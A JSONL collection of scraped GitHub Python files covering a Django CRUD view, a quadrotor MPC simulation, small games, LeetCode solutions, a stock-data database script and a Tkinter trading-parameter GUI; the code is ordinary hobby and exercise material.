 )\n\n@login_required\ndef edit(request, pk):\n    school = get_object_or_404(\n        klass=School, \n        pk=pk\n    )\n    school_form = SchoolForm(\n        data=request.POST or None,\n        instance=school\n    )\n    if school_form.is_valid():\n        school_form.save(auth.get_user(request))\n        messages.success(request, u\"Material editado com sucesso.\")\n        return redirect('school_list')\n\n    template_context = {\n        'school': school,\n        'school_form': school_form,\n    }\n    return render(\n        request=request,\n        template_name='school/edit.html',\n        dictionary=template_context\n    )\n\n@login_required\ndef delete(request, pk):\n    school = get_object_or_404(\n        klass=School, \n        pk=pk\n    )\n    if request.method == 'POST':\n        school.delete()\n        messages.success(request, u\"Material removido com sucesso.\")\n        return redirect('school_list')\n    \n    template_context = {\n        'school': school\n    }\n    return render(\n        request=request,\n        template_name='school/delete.html',\n        dictionary=template_context\n    )\n","repo_name":"luanfonceca/leitech","sub_path":"leitech/folks/views/school.py","file_name":"school.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"51"}
+{"seq_id":"36854666378","text":"\"\"\"\r\nCreated on Thu Jan 28 23:30:14 2021\r\n\r\n@author: Mohamad Sayegh & Elias Rached\r\n\r\n\"\"\"\r\n\r\n\r\nfrom rockit import *\r\nfrom rockit import FreeTime, MultipleShooting, Ocp\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom numpy import pi, cos, sin, tan, square\r\nfrom casadi import vertcat, horzcat, sumsqr, Function, exp, vcat\r\nfrom function_create_trajectory import create_trajectory\r\nfrom update_obstacles_position import update_obs\r\n\r\n\r\n\r\n#--------------- Problem parameters-------------------------------------\r\n\r\nNsim    = 100            # how much samples to simulate in total (affect sampling time?)\r\nnx      = 8              # the system is composed of 8 states\r\nnu      = 4              # the system has 4 control inputs\r\nN       = 5              # number of control intervals = the horizon for multipls shooting\r\ndt      = 0.05            # time interval\r\n\r\n\r\nxf = 0.5\r\nyf = 0.6\r\nzf = 0.5\r\n\r\n#-------------------- Logging variables---------------------------------\r\n\r\n\r\nx_hist         = np.zeros((Nsim+1, N+1))\r\ny_hist         = np.zeros((Nsim+1, N+1))\r\nz_hist         = np.zeros((Nsim+1, N+1))\r\nphi_hist       = np.zeros((Nsim+1, N+1))\r\nvx_hist        = np.zeros((Nsim+1, N+1))\r\nvy_hist        = np.zeros((Nsim+1, N+1))\r\nvz_hist        = np.zeros((Nsim+1, N+1))\r\nvphi_hist      = np.zeros((Nsim+1, N+1))\r\n\r\nux_hist         = np.zeros((Nsim+1, N+1))\r\nuy_hist         = np.zeros((Nsim+1, N+1))\r\nuz_hist         = np.zeros((Nsim+1, N+1))\r\nuphi_hist       = np.zeros((Nsim+1, N+1))\r\n\r\n\r\n#------------ initialize OCP -------------\r\n\r\nocp = Ocp(T = N*dt)\r\n\r\n\r\n#------------ drone model from reference paper-------------------------\r\n\r\n# drone model from reference paper\r\n# model constants\r\nk_x     = 1\r\nk_y     = 1\r\nk_z     = 1\r\nk_phi   = pi/180\r\ntau_x   = 0.8355\r\ntau_y   = 0.7701\r\ntau_z   = 0.5013\r\ntau_phi = 0.5142\r\n\r\n#Define states\r\nx     = ocp.state()\r\ny     = ocp.state()\r\nz     = ocp.state()\r\nphi   = ocp.state()\r\nvx    = ocp.state()\r\nvy    = ocp.state()\r\nvz    = ocp.state()\r\nvphi  = ocp.state()\r\n\r\n#Defince controls\r\nux    = ocp.control()\r\nuy    = ocp.control()\r\nuz    = ocp.control()\r\nuphi  = ocp.control()\r\n\r\n\r\n#Specify ODEs\r\nocp.set_der(x   ,   vx*cos(phi) - vy*sin(phi))\r\nocp.set_der(y   ,   vx*sin(phi) + vy*cos(phi))\r\nocp.set_der(z   ,   vz)\r\nocp.set_der(phi ,   vphi)\r\nocp.set_der(vx  ,   (-vx + k_x*ux)/tau_x)\r\nocp.set_der(vy  ,   (-vy + k_y*uy)/tau_y)\r\nocp.set_der(vz  ,   (-vz + k_z*uz)/tau_z)\r\nocp.set_der(vphi,   (-vphi + k_phi*uphi)/tau_phi)\r\n\r\n\r\n\r\n#------------------------------- Control constraints ----------------------\r\n\r\nocp.subject_to(-1 <= (ux    <= 1))\r\nocp.subject_to(-1 <= (uy    <= 1))\r\nocp.subject_to(-1 <= (uz    <= 1))\r\nocp.subject_to(-1 <= (uphi  <= 1))\r\n\r\n\r\n\r\n# ------------------------ Add obstacles -----------------------------------\r\n\r\n\r\n#round obstacles\r\np0 = ocp.parameter(2)\r\nx0 = 0.2\r\ny0 = 0.3\r\np0_coord = vertcat(x0,y0)\r\nocp.set_value(p0, p0_coord)\r\nr0 = 0.15          \r\n\r\np1 = ocp.parameter(2)\r\nx1 = 0.2\r\ny1 = 0.8\r\np1_coord = vertcat(x1,y1)\r\nocp.set_value(p1, p1_coord)\r\nr1 = 0.15\r\n\r\np2 = ocp.parameter(2)\r\nx2 = 0.5\r\ny2 = 0.3\r\np2_coord = vertcat(x2,y2)\r\nocp.set_value(p2, p2_coord)\r\nr2 = 0.05\r\n\r\np3 = ocp.parameter(2)\r\nx3 = 0.8\r\ny3 = 0.2\r\np3_coord = vertcat(x3,y3)       \r\nocp.set_value(p3, p3_coord)\r\nr3 = 0.05\r\n\r\np4 = ocp.parameter(2)\r\nx4 = 0.8\r\ny4 = 0.8\r\np4_coord = vertcat(x4,y4)        \r\nocp.set_value(p4, p4_coord)\r\nr4 = 0.1\r\n\r\n\r\nR = [r0,r1,r2,r3,r4]\r\n\r\np = vertcat(x,y,z)             # a point in 3D\r\n\r\n\r\nX = [x0,x1,x2,x3,x4]\r\nY = [y0,y1,y2,y3,y4]\r\nR = [r0,r1,r2,r3,r4]\r\nDx = [1 ,1 ,1 ,1 ,1 ]\r\nDy = [1 ,1 ,1 ,1 ,1 ]\r\n\r\ndef plotxy(xf,yf,p0_coord, p1_coord, p2_coord, R):\r\n    \r\n    \r\n    r0 = R[0]\r\n    r1 = R[1]\r\n    r2 = R[2]\r\n    \r\n    #x-y plot\r\n    fig = plt.figure(dpi = 300)\r\n    ax = fig.add_subplot(111)\r\n\r\n    plt.xlabel('x pos [m]')\r\n    plt.ylabel('y pos [m]')\r\n    plt.xlim(0,1)\r\n    plt.ylim(0,1)\r\n    plt.title('solution in x,y')\r\n    ax.set_aspect('equal', adjustable='box')\r\n    \r\n    ts = np.linspace(0,2*pi,1000)\r\n    plt.plot(p0_coord[0]+r0*cos(ts),p0_coord[1]+r0*sin(ts),'r-')\r\n    plt.plot(p1_coord[0]+r1*cos(ts),p1_coord[1]+r1*sin(ts),'b-')\r\n    plt.plot(p2_coord[0]+r2*cos(ts),p2_coord[1]+r2*sin(ts),'g-')\r\n    plt.plot(p3_coord[0]+r3*cos(ts),p3_coord[1]+r3*sin(ts),'c-')\r\n    plt.plot(p4_coord[0]+r4*cos(ts),p4_coord[1]+r4*sin(ts),'k-')\r\n    plt.plot(xf,yf,'ro', markersize = 10)\r\n\r\n  \r\n    plt.show(block=True)\r\n\r\n\r\ni = 0\r\n\r\n\r\nobs_hist_0  = np.zeros((Nsim+1, 3))\r\nobs_hist_1  = np.zeros((Nsim+1, 3))\r\nobs_hist_2  = np.zeros((Nsim+1, 3))\r\nobs_hist_3  = np.zeros((Nsim+1, 3))\r\nobs_hist_4  = np.zeros((Nsim+1, 3))\r\n\r\n\r\nwhile True:\r\n    \r\n    print(\"timestep\", i+1, \"of\", Nsim)\r\n    \r\n    plotxy(xf,yf,p0_coord, p1_coord, p2_coord, R)\r\n\r\n    \r\n    #---------------- dynamic obstacles    \r\n\r\n    X,Y,Dx,Dy =  update_obs(X,Y,R,Dx,Dy)\r\n    \r\n    p0_coord = vertcat(X[0],Y[0])\r\n    ocp.set_value(p0, p0_coord)\r\n    \r\n    p1_coord = vertcat(X[1],Y[1])\r\n    ocp.set_value(p1, p1_coord)\r\n\r\n    p2_coord = vertcat(X[2],Y[2])\r\n    ocp.set_value(p2, p2_coord)\r\n    \r\n    p3_coord = vertcat(X[3],Y[3])\r\n    ocp.set_value(p3, p3_coord)\r\n    \r\n    p4_coord = vertcat(X[4],Y[4])\r\n    ocp.set_value(p4, p4_coord)\r\n    \r\n    x0 = X[0]\r\n    x1 = X[1]\r\n    x2 = X[2]\r\n    x3 = X[3]\r\n    x4 = X[4]\r\n    \r\n    \r\n    y0 = Y[0]\r\n    y1 = Y[1]\r\n    y2 = Y[2]\r\n    y3 = Y[3]\r\n    y4 = Y[4]\r\n    \r\n    obs_hist_0[i,0] = x0\r\n    obs_hist_0[i,1] = y0\r\n    obs_hist_0[i,2] = r0\r\n    \r\n    obs_hist_1[i,0] = x1\r\n    obs_hist_1[i,1] = y1\r\n    obs_hist_1[i,2] = r1\r\n    \r\n    obs_hist_2[i,0] = x2\r\n    obs_hist_2[i,1] = y2\r\n    obs_hist_2[i,2] = r2\r\n    \r\n    obs_hist_3[i,0] = x3\r\n    obs_hist_3[i,1] = y3\r\n    obs_hist_3[i,2] = r3\r\n    \r\n    obs_hist_4[i,0] = x4\r\n    obs_hist_4[i,1] = y4\r\n    obs_hist_4[i,2] = r4\r\n    \r\n    \r\n    i = i + 1\r\n    if i == Nsim :\r\n        break\r\n\r\n\r\n\r\n\r\n#------------------------ animation\r\n\r\nimport matplotlib.animation as animation\r\n\r\n\r\nlength = i\r\n\r\nfig, ax  = plt.subplots(dpi = 300)\r\n\r\nax = plt.xlabel('x [m]')\r\nax = plt.ylabel('y [m]')\r\nax = plt.title('MPC solution')\r\n\r\nts = np.linspace(0,2*pi,1000)\r\n\r\nax = plt.axis([0,1,0,1])\r\n\r\nP0  = plt.plot(xf, yf ,'o', markersize = 10)\r\nO1, = plt.plot([], [] ,'g-')\r\nO2, = plt.plot([], [] ,'k-')\r\nO3, = plt.plot([], [] ,'c-')\r\nO4, = plt.plot([], [] ,'-')\r\nO5, = plt.plot([], [] ,'-')\r\n\r\ndef animate(i):\r\n    \r\n    O1.set_data(obs_hist_0[i,0]+obs_hist_0[i,2]*cos(ts), obs_hist_0[i,1]+obs_hist_0[i,2]*sin(ts))\r\n    O2.set_data(obs_hist_1[i,0]+obs_hist_1[i,2]*cos(ts), obs_hist_1[i,1]+obs_hist_1[i,2]*sin(ts))\r\n    O3.set_data(obs_hist_2[i,0]+obs_hist_2[i,2]*cos(ts), obs_hist_2[i,1]+obs_hist_2[i,2]*sin(ts))\r\n    O4.set_data(obs_hist_3[i,0]+obs_hist_3[i,2]*cos(ts), obs_hist_3[i,1]+obs_hist_3[i,2]*sin(ts))\r\n    O5.set_data(obs_hist_4[i,0]+obs_hist_4[i,2]*cos(ts), obs_hist_4[i,1]+obs_hist_4[i,2]*sin(ts))\r\n\r\n    return [O1,O2,O3,O4,O5]  \r\n\r\n\r\nmyAnimation = animation.FuncAnimation(fig, animate, frames=length, interval=700, blit=True)\r\n\r\nmyAnimation.save('MPC_simulation.mp4', fps=5, extra_args=['-vcodec', 'libx264'])\r\n    \r\n    \r\n    \r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"MohamadSayegh/MPC_Quadrotor","sub_path":"Dynamic_obstacles/dynamic_obstacles.py","file_name":"dynamic_obstacles.py","file_ext":"py","file_size_in_byte":7103,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"51"}
+{"seq_id":"7840969212","text":"from maskrcnn_benchmark.structures.bounding_box import BoxList\nfrom maskrcnn_benchmark.structures.segmentation_mask import SegmentationMask\nfrom Pillow import Image\n\nclass QickDataset(object):\n    def __init__(self, json_file):\n        with open(json_file, 'r') as f:\n            self.obj = json.load(f)\n\n    def __getitem__(self, idx):\n        # load the image as a PIL Image\n        \n        img_dict = self.obj['images'][idx]\n        image = Image.open(img_dict['file_name'])\n        \n        w, h = img_dict['width'], img_dict['height']\n        img_id = img_dict['id']\n\n        # load the bounding boxes as a list of list of boxes\n        # in this case, for illustrative purposes, we use\n        # x1, y1, x2, y2 order.\n        anns = [ann for ann in obj['annotations'] if ann['image_id'] == img_id]\n        \n        boxes = [ann['bbox'] for ann in anns]\n        boxes = [[x[1], x[0], x[3], x[2]] for x in boxes]\n                \n        labels = torch.tensor([ann['category_id'] for ann in anns])\n        \n        masks = [ann['segmentation'] for ann in anns]\n       \n        for i, obj in enumerate(masks):\n            for j, poly in enumerate(obj):\n                for k in range(0, len(poly), 2):\n                    masks[i][j][k], masks[i][j][k+1] = poly[k+1], poly[k] \n\n        # create a BoxList from the boxes\n        boxlist = BoxList(boxes, image.size, mode=\"xyxy\")\n        # add the labels to the boxlist\n        boxlist.add_field(\"labels\", labels)\n        boxlist.add_field(\"masks\", SegmentationMask(masks, (w,h), mode='poly'))\n\n        if self.transforms:\n            image, boxlist = self.transforms(image, boxlist)\n\n        # return the image, the boxlist and the idx in your dataset\n        return image, boxlist, idx\n\n    def get_img_info(self, idx):\n        # get img_height and img_width. This is used if\n        # we want to split the batches according to the aspect ratio\n        # of the image, as it can be more efficient than loading the\n        # image from disk\n        img_dict = self.obj['images'][idx]\n        return {\"height\": img_dict['height'], \"width\": img_dict['width']}\n\n","repo_name":"Deep-Magic/maskrcnn-pytorch","sub_path":"data/datasets/qick.py","file_name":"qick.py","file_ext":"py","file_size_in_byte":2112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"16999980820","text":"import sys\r\n\r\nT = int(input())\r\n\r\n\r\ndef per(S,left,right):\r\n\r\n    while left<right:\r\n        if S[left]==S[right]:\r\n            left+=1\r\n            right+=-1\r\n        else:\r\n            return False\r\n\r\n    return True\r\n\r\ndef secper(S,left,right):\r\n\r\n    if S==S[::-1]:\r\n        return 0\r\n\r\n    while left<right:\r\n        if S[left]==S[right]:\r\n            left+=1\r\n            right+=-1\r\n        elif S[left]!=S[right]:\r\n            start_left = per(S,left+1,right)\r\n            start_right = per(S,left,right-1)\r\n\r\n            if start_right or start_left:\r\n                return 1\r\n            else:\r\n                return 2\r\n\r\n\r\nfor t in range(T):\r\n    S = sys.stdin.readline().rstrip()\r\n\r\n    left = 0\r\n    right = len(S)-1\r\n\r\n    print(secper(S,left,right))","repo_name":"mechauk418/BOJ","sub_path":"백준/Gold/17609. 회문/회문.py","file_name":"회문.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"10559338070","text":"import numpy as np\n\n\n\nclass Game:\n\n    def __init__(self,dict_path):\n    \n        words = []\n        with open(dict_path,'r') as f:\n            \n            content = f.read()\n\n        self.words = content.split('\\n')\n        \n        self.game_loop()\n        \n    def game_loop(self):\n\n        first_enter = True\n        while True:\n            print('New game!')\n            self.new_game()\n\n            while self.step() or first_enter:\n                first_enter = False\n                continue\n\n            \n\n\n\n    def step(self):\n\n        print('Guess a letter')\n        \n        letter = input()\n        \n        if len(letter) == 0 or len(letter) > 1:\n            print('Input just one letter!')\n            return True\n\n        am_user_right = letter in self.current_word\n\n        if am_user_right:\n            print('Hit!')\n            self.update_avail(letter)\n\n        else:\n            self.mistakes += 1\n            print('Missed, mistake {} out of 5'.format(self.mistakes))\n            \n        print('The word: {}'.format(self.current_avail))\n        #print(self.current_avail, self.current_word)\n        need_step = True\n\n        if self.mistakes == 5:\n            print('You lost!')\n            need_step = False\n        if self.current_avail == self.current_word:\n            print('You won!')\n            need_step = False\n\n        return need_step\n\n\n    def update_avail(self,letter):\n        \n        indexes = [i for i,x in enumerate(self.current_word) if x == letter]\n\n        l = list(self.current_avail)\n\n        for idx in indexes:\n            l[idx] = letter\n\n        self.current_avail = ''.join(l)\n\n    def new_game(self):\n\n        self.current_word = np.random.choice(self.words)\n        self.current_avail = '*'*len(self.current_word)\n        self.mistakes = 0\n\n        \n\n\n    \n\n\n\n        \n\n\n\n\na = Game('dict.txt')\n\n\n\n\n\n\n","repo_name":"fotol1/hangman","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"9282973304","text":"from typing import List\n\n\"\"\"\nGiven two strings s and p, return an array of all the start indices of\np's anagrams in s. You may return the answer in any order.\n\nAn Anagram is a word or phrase formed by rearranging the letters of\na different word or phrase, typically using all the original letters\nexactly once.\n\"\"\"\n\n\nclass Solution:\n    def findAnagrams(self, s: str, p: str) -> List[int]:\n        windowLeft = 0\n        windowRight = 0\n        anagram_indices = []\n        correct_counter = {}\n        counter = {}\n        reset_counter = {}\n\n        for letter in p:\n            if letter not in correct_counter:\n                correct_counter[letter] = 1\n            else:\n                correct_counter[letter] += 1\n\n            counter[letter] = 0\n            reset_counter[letter] = 0\n\n        while windowRight < len(s):\n            if (\n                s[windowRight] in p\n                and counter[s[windowRight]] < correct_counter[s[windowRight]]\n            ):\n                counter[s[windowRight]] += 1\n                windowRight += 1\n            elif s[windowRight] not in p:\n                if counter == correct_counter:\n                    anagram_indices.append(windowLeft)\n                counter = reset_counter.copy()\n                windowLeft = windowRight + 1\n                windowRight += 1\n            elif (\n                s[windowRight] in p\n                and counter[s[windowRight]] >= correct_counter[s[windowRight]]\n            ):\n                if counter == correct_counter:\n                    anagram_indices.append(windowLeft)\n                counter[s[windowLeft]] -= 1\n                windowLeft += 1\n\n        if counter == correct_counter:\n            anagram_indices.append(windowLeft)\n\n        return anagram_indices\n","repo_name":"milkias17/competitive-programming","sub_path":"find_all_anagrams.py","file_name":"find_all_anagrams.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"7950575955","text":"from django.conf.urls import url\nfrom django.urls import path, include\nfrom drf_yasg.views import get_schema_view\nfrom rest_framework.permissions import AllowAny, IsAuthenticated, BasePermission\nfrom drf_yasg import openapi\n\nschema_url_patterns = [\n    path('myapp/', include('myapp.urls')),\n    path('recommendation/', include('recommendation.urls'))\n]\n\nschema_view = get_schema_view(\n    openapi.Info(\n        title=\"swagger\",\n        default_version = 'v1',\n        description =\n        '''\n        오구오구 우리아이\n        Open Api 문서 페이지\n        ''',\n    ),\n    validators=['flex'],\n    public=True,\n    permission_classes=(AllowAny,),\n    patterns=schema_url_patterns,\n)","repo_name":"jenu8628/children-recommand-recipe-project","sub_path":"exec/backend/backend_python/venvproject/formychild/formychild/yasg.py","file_name":"yasg.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"41548993373","text":"# the location of your remote repository + branch\nREPO = {\n    'URL': '',\n    'BRANCH': '',\n}\n\nPYTHON = {\n    # version of Python3 in use\n    'VERSION': '',\n\n    # desired name of the deployment virtual environment(s)\n    'VIRTUALENV': '',\n\n    # directory name of the local virtual environment -\n    # it should share a parent directory with the root folder\n    # of your Django development site\n    'LOCALENV': '',\n}\n\n# host IPs (NOTE: currently only supports one at a time)\nAPACHE_HOSTS = ''\nMYSQL_HOSTS = ''\nMEDIA_HOSTS = ''\n\n# domain names for Apache that Django will ALLOW\n# if DOMAIN_NAMES is a list, the first item will be assigned as ServerName\n# and the others will be under ServerAlias\nDOMAIN_NAMES = ''\n\nUSERS = {\n\n# user for login - goes to env.user\n    'DEBIAN_USER': '',\n\n# register Django superuser + MySQL/Apache info\n    'SUPERUSER': {\n        'name': '',\n        'username': '',\n        'email': '',\n    },\n\n    'MYSQL_INFO': {\n        'user': '',\n        'name': '',\n        'email': '',\n    },\n\n    'APACHE_INFO': {\n        'user': '',\n        'name': '',\n        'email': '',\n\n    # verbosity of /var/log/apache2/error.log file\n    # options from brief to verbose are:\n    # 'emerg', 'alert', 'crit', 'error', 'warn', 'notice', 'info', 'debug'\n        'loglevel': 'warn',\n    },\n}\n","repo_name":"j-kusel/linen","sub_path":"linen/templates/linfile.py","file_name":"linfile.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"18526515513","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[16]:\n\n\nimport tushare as ts\nimport pymysql\nimport pandas as pd\nimport time\nimport numpy as np\nimport datetime\n\n\n# In[17]:\n\n\ndef execude_sql(sql):\n# 创建连接\n    try:\n        db = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='123456', db='stock', charset='utf8mb4')\n    except:\n        print('数据库连接失败，10s后重试')\n        time.sleep(10)\n# 创建游标\n    cursor = db.cursor()\n    cursor.execute(sql)\n#执行结果转化为dataframe\n# 关闭连接\n    cursor.close()\n    db.close()\n\n\n# In[ ]:\n\n\ncodes=ts.get_stock_basics().index.tolist() \nfor code in codes:\n    sql='create table if not exists tick_data_'+code+' like tick_data'\n    print(sql)\n    execude_sql(sql)\n       \n        \n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Heyaoxing/python_demo","sub_path":"stock/tushare-02.py","file_name":"tushare-02.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"29560946496","text":"\nfrom django.urls import path\n\nfrom .import views\n\nurlpatterns = [\n    #Login Page\n    path('', views.index),\n    #Login POST Form\n    path('login', views.login),\n    #Register Page\n    path('registerpage',views.registerpage),\n    #Register POST Form\n    path('register', views.register),\n    #Home Page\n    path('homepage', views.homepage),\n    #Logout\n    path('logout', views.logout),\n    #createworkoutpage\n    path('createworkout', views.createworkout),\n    #Create Workout\n    path('newworkout', views.newworkout),\n    #View Workout Page\n    path('viewworkout', views.viewworkout),\n]\n","repo_name":"esparzaa1997/WorkoutTracker","sub_path":"workout_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"70078694238","text":"\"\"\"\nGiven two sparse matrices A and B, return the result of AB.\n\nYou may assume that A's column number is equal to B's row number.\n\nExample:\n\nInput:\n\nA = [\n  [ 1, 0, 0],\n  [-1, 0, 3]\n]\n\nB = [\n  [ 7, 0, 0 ],\n  [ 0, 0, 0 ],\n  [ 0, 0, 1 ]\n]\n\nOutput:\n\n     |  1 0 0 |   | 7 0 0 |   |  7 0 0 |\nAB = | -1 0 3 | x | 0 0 0 | = | -7 0 3 |\n                  | 0 0 1 |\n\"\"\"\n\n\"\"\"\nTime Complexity: O(mkn)\nSpace Complexity: O(mn)\n\"\"\"\n\n\nclass Solution:\n    def multiply(self, A: List[List[int]], B: List[List[int]]) -> List[List[int]]:\n        if not A or not B or len(A) == 0 or len(B) == 0:\n            return -1\n\n        if len(A[0]) != len(B):\n            return -1\n\n        m, k, n = len(A), len(A[0]), len(B[0])\n        results = [[0 for _ in range(n)] for _ in range(m)]\n        for i in range(m):\n            for c in range(k):\n                if A[i][c] == 0:\n                    continue\n\n                for j in range(n):\n                    results[i][j] += A[i][c] * B[c][j]\n\n        return results\n\n\n\n\"\"\"\nFollow up:\nIt should be a data structure design problem.\nYou should give a reasonable data structure to present sparse matrix and multiplication method.\n\nOne potential advantage of having two hash tables is that it can be used as a sparse matrix representation. The the code becomes more reusable and \nextensible.\n\nTime Complexity: O(mkn)\nSpace Complexity: O(mn)\n\"\"\"\n\n\nclass Solution:\n    def multiply(self, A: List[List[int]], B: List[List[int]]) -> List[List[int]]:\n        if not A or not B or len(A) == 0 or len(B) == 0:\n            return -1\n\n        m, k, n = len(A), len(A[0]), len(B[0])\n\n        table_A, table_B = {}, {}\n        for i, row in enumerate(A):\n            for j, e in enumerate(row):\n                if e:\n                    if i not in table_A:\n                        table_A[i] = {}\n                    table_A[i][j] = e\n\n        for i, row in enumerate(B):\n            for j, e in enumerate(row):\n                if e:\n                    if i not in table_B:\n                        table_B[i] = {}\n                    table_B[i][j] = e\n\n        results = [[0 for _ in range(n)] for i in range(m)]\n        for i in table_A:\n            for k in table_A[i]:\n                if k not in table_B:\n                    continue\n\n                for j in table_B[k]:\n                    results[i][j] += table_A[i][k] * table_B[k][j]\n\n        return results\n\n\n","repo_name":"hz336/Algorithm","sub_path":"LeetCode/Design/M Sparse Matrix Multiplication.py","file_name":"M Sparse Matrix Multiplication.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"11455167133","text":"import time\r\nimport tkinter\r\nfrom tkinter import ttk\r\nfrom tkinter.constants import END, W, E\r\n\r\nimport pandas\r\n\r\n\r\nclass GUI:\r\n    def __init__(self,info_queue,handle_queue):\r\n        self.info_queue = info_queue\r\n        self.handle_queue = handle_queue\r\n\r\n    def gui(self):\r\n\r\n        self.top_window = tkinter.Tk()\r\n        self.top_window.title('LeekControler')\r\n        '''\r\n        创建菜单\r\n        '''\r\n        menu = tkinter.Menu(self.top_window)\r\n        menu.add_command(label='查看/修改参数',command=self.create_view_change_parm_window)\r\n        self.top_window.config(menu=menu)\r\n\r\n        # self.tree = ttk.Treeview(self.top_window, columns=('参数名', '值'), show=\"headings\",\r\n        #                     displaycolumns=\"#all\",height=25)\r\n        # self.tree.heading('参数名', text=\"参数名\", anchor=W)\r\n        # self.tree.heading('值', text=\"值\", anchor=W)\r\n        #\r\n        # self.tree.pack()\r\n        # tkinter.Button(self.top_window, text=\"修改参数值\", command=self.create_parm_change_window).pack()\r\n        # self.load_parm_data()\r\n        self.top_window.mainloop()\r\n\r\n    def create_view_change_parm_window(self):\r\n        top = tkinter.Toplevel()\r\n        top.title(\"查看参数\")\r\n\r\n        tree = ttk.Treeview(top, columns=('参数名', '值'), show=\"headings\",\r\n                             displaycolumns=\"#all\", height=25)\r\n        tree.heading('参数名', text=\"参数名\", anchor=W)\r\n        tree.heading('值', text=\"值\", anchor=W)\r\n\r\n        tree.pack()\r\n        tkinter.Button(top, text=\"修改参数值\", command=self.create_parm_change_window).pack()\r\n        self.load_parm_data(top,tree)\r\n\r\n    def create_parm_change_window(self):\r\n        top = tkinter.Toplevel()\r\n        top.title(\"修改参数值\")\r\n\r\n        # 设置标签信息\r\n        label1 = tkinter.Label(top, text='参数名：')\r\n        label1.grid(row=0, column=0)\r\n        label2 = tkinter.Label(top, text='参数值：')\r\n        label2.grid(row=1, column=0)\r\n\r\n        # 创建输入框\r\n        entry1 = tkinter.Entry(top)\r\n        entry1.grid(row=0, column=1, padx=10, pady=5)\r\n        entry2 = tkinter.Entry(top)\r\n        entry2.grid(row=1, column=1, padx=10, pady=5)\r\n\r\n        button1 = tkinter.Button(top, text='修改', command=lambda:self.send_handle_queue(entry1.get(), entry2.get())).grid(row=3, column=0,\r\n                                                                    sticky=W, padx=30, pady=5)\r\n        button2 = tkinter.Button(top, text='退出', command=top.destroy).grid(row=3, column=1,\r\n                                                                        sticky=E, padx=30, pady=5)\r\n    def send_handle_queue(self,parm_name,value):\r\n        self.handle_queue.put({'parm_name':parm_name,'value':float(value)})\r\n        return self\r\n\r\n    def load_parm_data(self,top,tree):\r\n        if(self.info_queue.empty()==False):\r\n            parm_info_dict = self.info_queue.get()\r\n            for item in tree.get_children():\r\n                tree.delete(item)\r\n            for key, value in parm_info_dict.items():\r\n                tree.insert(\"\", END, values=[key,value])\r\n        tree.pack()\r\n        top.after(1, self.load_parm_data,top,tree)\r\n\r\n        return self\r\n    # def","repo_name":"QSimons/miniQMT_trade","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"43617436710","text":"#Create an employee class. Each employee has characteristics such as name and salary.\n# The class should have a counter that calculates the total number of employees,\n# as well as a method that prints the total number of employees and a method\n# that displays information about each employee in particular, namely the name and salary.\n#In addition to creating a class, display information about the base classes\n# from which the employee class is inherited (__base__), the class namespace (__dict__),\n# the class name (__name__), the module name in which the class is defined (__module__), the documentation bar ( __doc__)\n\nclass Employee():\n    \"\"\"Employee class. Each employee has characteristics such as name and salary.\"\"\"\n\n    total_employee = 0\n\n    def __init__(self, name,salary):\n        Employee.total_employee += 1\n        self.name = name\n        self.salary = salary\n\n    def view_tolal_number_of_employee(self):\n        print (f\"The total number of Employee :{Employee.total_employee}\")\n\n    def display_info(self):\n        print(f\"Employee name is {self.name}. Her / His salary is {self.salary}\")\n\n\n\nEmpl1=Employee('Victor',20000)\nEmpl2=Employee('Ivan',20000)\nEmpl1.view_tolal_number_of_employee()\nEmpl3=Employee('Olya',20600)\nEmpl1.view_tolal_number_of_employee()\nEmpl1.display_info()\n\nprint(f\"--> employee class is inherited from {Employee.__base__},\\n--> the class namespace is {Employee.__dict__},\\n--> the class name is {Employee.__name__} \\n\\\n--> the module name in which the class is defined is {Employee.__module__} ,\\n--> the documentation bar is : {Employee.__doc__}\")\n\n","repo_name":"tanya-pomaranska/python","sub_path":"Classwork/CW_5/Emploee.py","file_name":"Emploee.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
